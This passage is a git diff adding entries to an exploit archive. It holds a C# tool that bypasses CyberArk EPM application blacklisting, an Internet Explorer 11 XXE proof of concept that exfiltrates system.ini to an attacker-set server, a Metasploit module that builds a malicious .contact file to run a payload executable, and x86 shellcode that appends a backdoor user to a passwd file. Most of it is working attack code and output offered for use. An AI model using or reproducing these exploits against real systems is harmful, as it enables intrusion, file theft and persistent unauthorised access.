print_good("Upload successfully.") + print_status("Trying to exec payload...") + exec_payload + end + end +end +## +# The end of the adventure (o_O) // AkkuS +## \ No newline at end of file diff --git a/exploits/windows/local/46688.txt b/exploits/windows/local/46688.txt new file mode 100644 index 000000000..b1dd2b084 --- /dev/null +++ b/exploits/windows/local/46688.txt @@ -0,0 +1,72 @@ +# Exploit Title: CyberArk Endpoint bypass +# Google Dork: - +# Date: 03/06/2018 +# Exploit Author: Alpcan Onaran +# Vendor Homepage: https://www.cyberark.com +# Software Link: - +# Version: 10.2.1.603 +# Tested on: Windows 10 +# CVE : CVE-2018-14894 + +//If user needs admin privileges, CyberArk gives the admin token to user for spesific process not for the whole system. It is cool idea. +//This product also has a function called “Application Blacklist”. You probably know what that means. +//It helps you to block to execute specified application by CyberArk admin. In normal cases, you can not be able to start this process even with admin rights. +//But We found very interesting trick to make CyberArk blind completely.All you need to do, revoke read privileges for system on the file that you want to open it. +//After you do that, CyberArk EPM can not be able to get information about your blocked file and it just let them execute + +This exploit works on CyberArk EPM 10.2.1.603 and below. (Tested on Windows 10 x64) +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Windows.Forms; +using System; +using System.IO; +using System.Security.AccessControl; + +namespace raceagainstthesystem +{ + public partial class Form1 : Form + { + public Form1() + { + InitializeComponent(); + } + + private void btn_change_access_control_Click(object sender, EventArgs e) + { + string fileName = txt_filepath.Text; + FileSecurity fSecurity = File.GetAccessControl(fileName); + fSecurity.AddAccessRule(new FileSystemAccessRule(@"SYSTEM", + FileSystemRights.ReadData, AccessControlType.Deny)); + File.SetAccessControl(fileName, fSecurity); + + /* + fSecurity.RemoveAccessRule(new FileSystemAccessRule(@"SYSTEM", + FileSystemRights.ReadData, AccessControlType.Allow)); + */ + + File.SetAccessControl(fileName, fSecurity); + } + + private void btn_choseFile_Click(object sender, System.EventArgs e) + { + OpenFileDialog choofdlog = new OpenFileDialog(); + choofdlog.Filter = "All Files (*.*)|*.*"; + choofdlog.FilterIndex = 1; + choofdlog.Multiselect = true; + + string sFileName = ""; + + if (choofdlog.ShowDialog() == DialogResult.OK) + { + sFileName = choofdlog.FileName; + string[] arrAllFiles = choofdlog.FileNames; //used when Multiselect = true + } + txt_filepath.Text = sFileName; + } + } +} \ No newline at end of file diff --git a/exploits/windows/local/46690.txt b/exploits/windows/local/46690.txt new file mode 100644 index 000000000..8597786c9 --- /dev/null +++ b/exploits/windows/local/46690.txt @@ -0,0 +1,183 @@ +[+] Credits: John Page (aka hyp3rlinx) +[+] Website: hyp3rlinx.altervista.org +[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt +[+] ISR: ApparitionSec + + +[Vendor] +www.microsoft.com + + +[Product] +Microsoft Internet Explorer v11 +(latest version) + +Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995. + + +[Vulnerability Type] +XML External Entity Injection + + + +[CVE Reference] +N/A + + + +[Security Issue] +Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally. + +This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed +Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program. + +Upon opening the malicious ".MHT" file locally it should launch Internet Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K" +and other interactions like right click "Print Preview" or "Print" commands on the web-page may also trigger the XXE vulnerability. + +However, a simple call to the window.print() Javascript function should do the trick without requiring any user interaction with the webpage. +Importantly, if files are downloaded from the web in a compressed archive and opened using certain archive utilities MOTW may not work as advertised. + +Typically, when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will get a security warning bar in IE and be prompted +to activate blocked content. However, when opening a specially crafted .MHT file using malicious markup tags the user will get no such +active content or security bar warnings. + +e.g. + +C:\sec>python -m SimpleHTTPServer +Serving HTTP on 0.0.0.0 port 8000 ... +127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 - +127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci] HTTP/1.1" 200 - + + +Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2. + + + +[POC/Video URL] +https://www.youtube.com/watch?v=fbLNbCjgJeY + + + +[Exploit/POC] +POC to exfil Windows "system.ini" file. +Note: Edit attacker server IP in the script to suit your needs. + +1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file. + +2) python -m SimpleHTTPServer + +3) Place the generated "datatears.xml" in Python server web-root. + +4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated. + + +#Microsoft Internet Explorer XXE 0day +#Creates malicious XXE .MHT and XML files +#Open the MHT file in MSIE locally, should exfil system.ini +#By hyp3rlinx +#ApparitionSec + +ATTACKER_IP="localhost" +PORT="8000" + +mht_file=( +'From:\n' +'Subject:\n' +'Date:\n' +'MIME-Version: 1.0\n' +'Content-Type: multipart/related; type="text/html";\n' +'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n' +'This is a multi-part message in MIME format.\n\n\n' + +'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n' +'Content-Type: text/html; charset="UTF-8"\n' +'Content-Location: main.htm\n\n' + +'\n' +'\n' +'\n' +'\n' +'MSIE XXE 0day\n' +'\n' +'\n' +'\n' +'\n' +'\n' +'\n' +'%sp;\n' +'%param1;\n' +']>\n' +'&exfil;\n' +'&exfil;\n' +'&exfil;\n' +'&exfil;\n' +'\n' +'\n' +'\n' +'\n' +'\n' +'\n' +'
\n' +'

MSIE XML External Entity 0day PoC.

\n' +'

Discovery: hyp3rlinx

\n' +'

ApparitionSec

\n' +'
\n' +'\n' +'\n\n\n' + +'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--' +) + +xml_file=( +'\n' +'">\n' +'\n' +'">\n' +) + +def mk_msie_0day_filez(f,p): + f=open(f,"wb") + f.write(p) + f.close() + + +if __name__ == "__main__": + mk_msie_0day_filez("msie-xxe-0day.mht",mht_file) + mk_msie_0day_filez("datatears.xml",xml_file) + print "Microsoft Internet Explorer XML External Entity 0day PoC." + print "Files msie-xxe-0day.mht and datatears.xml Created!." + print "Discovery: Hyp3rlinx / Apparition Security" + + + + +[Network Access] +Remote + + + +[Severity] +High + + + +[Disclosure Timeline] +Vendor Notification: March 27, 2019 +Vendor acknowledgement: March 27, 2019 +Case Opened: March 28, 2019 +MSRC reponse April 10, 2019: "We determined that a fix for this issue will be considered in a future version of this product or service. +At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case." +April 10, 2019 : Public Disclosure + + + +[+] Disclaimer +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information +or exploits by the author or elsewhere. All content (c). + +hyp3rlinx \ No newline at end of file diff --git a/exploits/windows/local/46692.rb b/exploits/windows/local/46692.rb new file mode 100755 index 000000000..b600b59ab --- /dev/null +++ b/exploits/windows/local/46692.rb @@ -0,0 +1,106 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'fileutils' +require 'rex/zip' +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Contact File Format Arbitary Code Execution', + 'Description' => %q{ + This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft Windows. + User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The flaw is due to the processing of ".contact" files node param which takes an expected website value, however if an attacker references an + executable file it will run that instead without warning instead of performing expected web navigation. This is dangerous and would be unexpected to an end user. + Executable files can live in a sub-directory so when the ".contact" website link is clicked it traverses directories towards the executable and runs. + Making matters worse is if the the files are compressed then downloaded "mark of the web" (MOTW) may potentially not work as expected with certain archive utilitys. + The ".\" chars allow directory traversal to occur in order to run the attackers supplied executable sitting unseen in the attackers directory. + This advisory is a duplicate issue that currently affects Windows .VCF files, and released for the sake of completeness as it affects Windows .contact files as well. + }, + 'Author' => + [ 'John Page (aka hyp3rlinx)', # Vuln discovery + 'Brenner Little' # MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['EDB', '46188'], + ['URL', 'http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-CONTACT-FILE-INSUFFECIENT-UI-WARNING-WEBSITE-LINK-ARBITRARY-CODE-EXECUTION.txt'], + ['ZDI', '19-013'] + ], + 'DisclosureDate' => 'Jan 17 2019', # According to https://www.exploit-db.com/exploits/46188 + 'Privileged' => false, + 'Platform' => 'win', + 'Payload' => { + 'DisableNops' => true + }, + 'DefaultOptions' => { + 'DisablePayloadHandler' => true + }, + 'Targets' => [['Windows', { }]], + 'DefaultTarget' => 0 + )) + register_options( + [ + OptString.new('WEBSITE', [true, 'The URL that the user must click to launch the payload.', 'www.metasploit.com']), + OptString.new('FILENAME', [true, 'The first and last name embdeed in the .CONTACT file (also used as the filename for the .CONTACT and .ZIP files)', 'John Smith']), + ]) + end + def exploit + contact_full_name = "#{datastore['FILENAME']}" + exe_filename = "#{datastore['WEBSITE']}" + + xml_header = %Q| +\t +\t2019-04-10T20:19:26Z +\t| + + xml_body = %Q| + + e3b2d76c-3355-4f54-b995-0ce0dcf84c8a + + + + CONTACT_FULL_NAME + CONTACT_LAST_NAME + CONTACT_FIRST_NAME + + + + + + UserTile + + + + + + EXE_PATH + + Business + + + + |.gsub(/\n[ ]*/,'') + + xml = xml_header + xml_body + xml.gsub!(/CONTACT_FULL_NAME/, contact_full_name); + xml.gsub!(/CONTACT_LAST_NAME/, contact_full_name.split(' ')[-1]); + xml.gsub!(/CONTACT_FIRST_NAME/, contact_full_name.split(' ')[0]); + xml.gsub!(/EXE_PATH/, "http.\\" + exe_filename); + + exe = generate_payload_exe + + zip = Rex::Zip::Archive.new + zip.add_file("/http/" + exe_filename, exe) + zip.add_file(contact_full_name + ".contact", xml) + zip.save_to(contact_full_name + ".zip") + print_good("Created '#{contact_full_name}.zip'") + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 281cb0a75..3876a3306 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -10405,6 +10405,9 @@ id,file,description,date,author,type,platform,port 46683,exploits/windows/local/46683.txt,"Microsoft Windows - AppX Deployment Service Privilege Escalation",2019-04-09,"Nabeel Ahmed",local,windows, 46685,exploits/windows/local/46685.py,"FTPShell Server 6.83 - 'Account name to ban' Local Buffer",2019-04-10,"Dino Covotsos",local,windows, 46686,exploits/windows/local/46686.py,"FTPShell Server 6.83 - 'Virtual Path Mapping' Local Buffer",2019-04-10,"Dino Covotsos",local,windows, +46688,exploits/windows/local/46688.txt,"CyberArk EPM 10.2.1.603 - Security Restrictions Bypass",2019-04-12,"Alpcan Onaran",local,windows, +46690,exploits/windows/local/46690.txt,"Microsoft Internet Explorer 11 - XML External Entity Injection",2019-04-12,hyp3rlinx,local,windows, +46692,exploits/windows/local/46692.rb,"Microsoft Windows - Contact File Format Arbitary Code Execution (Metasploit)",2019-04-12,Metasploit,local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -17311,6 +17314,7 @@ id,file,description,date,author,type,platform,port 46677,exploits/php/remote/46677.php,"PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write",2019-02-27,cfreal,remote,php, 46678,exploits/hardware/remote/46678.py,"TP-LINK TL-WR940N / TL-WR941ND - Buffer Overflow",2019-04-09,"Grzegorz Wypych",remote,hardware,80 46682,exploits/multiple/remote/46682.py,"Apache Axis 1.4 - Remote Code Execution",2019-04-09,"David Yesland",remote,multiple, +46693,exploits/linux/remote/46693.rb,"Zimbra Collaboration - Autodiscover Servlet XXE and ProxyServlet SSRF (Metasploit)",2019-04-12,Metasploit,remote,linux,8443 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -41124,3 +41128,4 @@ id,file,description,date,author,type,platform,port 46681,exploits/php/webapps/46681.txt,"Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection",2019-04-09,"Doğukan Karaciğer",webapps,php,80 46684,exploits/php/webapps/46684.py,"Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution",2019-04-10,"Julien Ahrens",webapps,php,443 46687,exploits/hardware/webapps/46687.txt,"D-Link DI-524 V2.06RU - Multiple Cross-Site Scripting",2019-04-10,"Semen Alexandrovich Lyhin",webapps,hardware,80 +46691,exploits/php/webapps/46691.rb,"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)",2019-04-12,AkkuS,webapps,php, diff --git a/files_shellcodes.csv b/files_shellcodes.csv index fef3b98dd..49cfff060 100644 --- a/files_shellcodes.csv +++ b/files_shellcodes.csv @@ -954,3 +954,4 @@ id,file,description,date,author,type,platform 46524,shellcodes/linux_x86/46524.c,"Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)",2019-03-11,"Daniele Votta",shellcode,linux_x86 46679,shellcodes/generator/46679.nasm,"Linux/x64 - XANAX Encoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator 46680,shellcodes/generator/46680.nasm,"Linux/x64 - XANAX Decoder Shellcode (127 bytes)",2019-04-09,"Alan Vivona",shellcode,generator +46689,shellcodes/linux_x86/46689.c,"Linux/x86 - Add User to Passwd File Shellcode (149 bytes)",2019-04-12,strider,shellcode,linux_x86 diff --git a/shellcodes/linux_x86/46689.c b/shellcodes/linux_x86/46689.c new file mode 100644 index 000000000..78fab765b --- /dev/null +++ b/shellcodes/linux_x86/46689.c @@ -0,0 +1,98 @@ +# Exploit Title: Linux/x86 add user to passwd file shellcode (149 bytes) +# Google Dork: None +# Date: 11.04.2019 +# Exploit Author: strider +# Vendor Homepage: None +# Software Link: None +# Tested on: Debian 9 Stretch i386/ Kali Linux i386 +# CVE : None +# Shellcode Length: 149 +------------------------------[Description]--------------------------------- + +This shellcode writes a new user to the given passwd file + +Username = sshd +password = root +Shell = sh + +-----------------------------[Shellcode Dump]--------------------------------- +section .text + +global _start + +_start: + xor eax, eax + push eax + +_user: + push 0x0a206873 + push 0x2f6e6962 + push 0x2f3a706d + push 0x742f3a31 + push 0x3131313a + push 0x31313131 + push 0x3a30754a + push 0x4c5a304b + push 0x45683933 + push 0x78534a52 + push 0x50446862 + push 0x73644d24 + push 0x67513231 + push 0x3458652e + push 0x2431243a + push 0x64687373 + mov ebp, esp + jmp short _file + +_appendfile: + pop ecx + mov ebx, ecx + xor ecx, ecx + mov al, 5 + push ebx + mov cx, 2001Q + mov dx, 0x1A4 + int 0x80 + +_write: + xor eax, eax + xor ebx, ebx + push eax + mov al, 4 + add ebx, 3 + mov ecx, ebp + xor edx, edx + add edx, 64 + int 0x80 + +_close: + xor eax, eax + mov al, 6 + int 0x80 + +_exit: + xor eax, eax, + mov al, 1 + xor ebx, ebx + int 0x80 + +_file: + call _appendfile + msg2 db "passwd", 0x00 ;change that yo your passwd file + + -----------------------------[Compile]--------------------------------------------- + gcc -m32 -fno-stack-protector -z execstack -o tester tester.c + + -----------------------------[C-Code]----------------------------- + + #include + #include + + unsigned char shellcode[] = "\x31\xc0\x50\x68\x73\x68\x20\x0a\x68\x62\x69\x6e\x2f\x68\x6d\x70\x3a\x2f\x68\x31\x3a\x2f\x74\x68\x3a\x31\x31\x31\x68\x31\x31\x31\x31\x68\x4a\x75\x30\x3a\x68\x4b\x30\x5a\x4c\x68\x33\x39\x68\x45\x68\x52\x4a\x53\x78\x68\x62\x68\x44\x50\x68\x24\x4d\x64\x73\x68\x31\x32\x51\x67\x68\x2e\x65\x58\x34\x68\x3a\x24\x31\x24\x68\x73\x73\x68\x64\x89\xe5\xeb\x33\x59\x89\xcb\x31\xc9\xb0\x05\x53\x66\xb9\x01\x04\x66\xba\xa4\x01\xcd\x80\x31\xc0\x31\xdb\x50\xb0\x04\x83\xc3\x03\x89\xe9\x31\xd2\x83\xc2\x40\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xc8\xff\xff\xff\x70\x61\x73\x73\x77\x64"; + void main() + { + printf("Shellcode Length: %d\n", strlen(shellcode)); + + int (*ret)() = (int(*)())shellcode; + ret(); + } \ No newline at end of file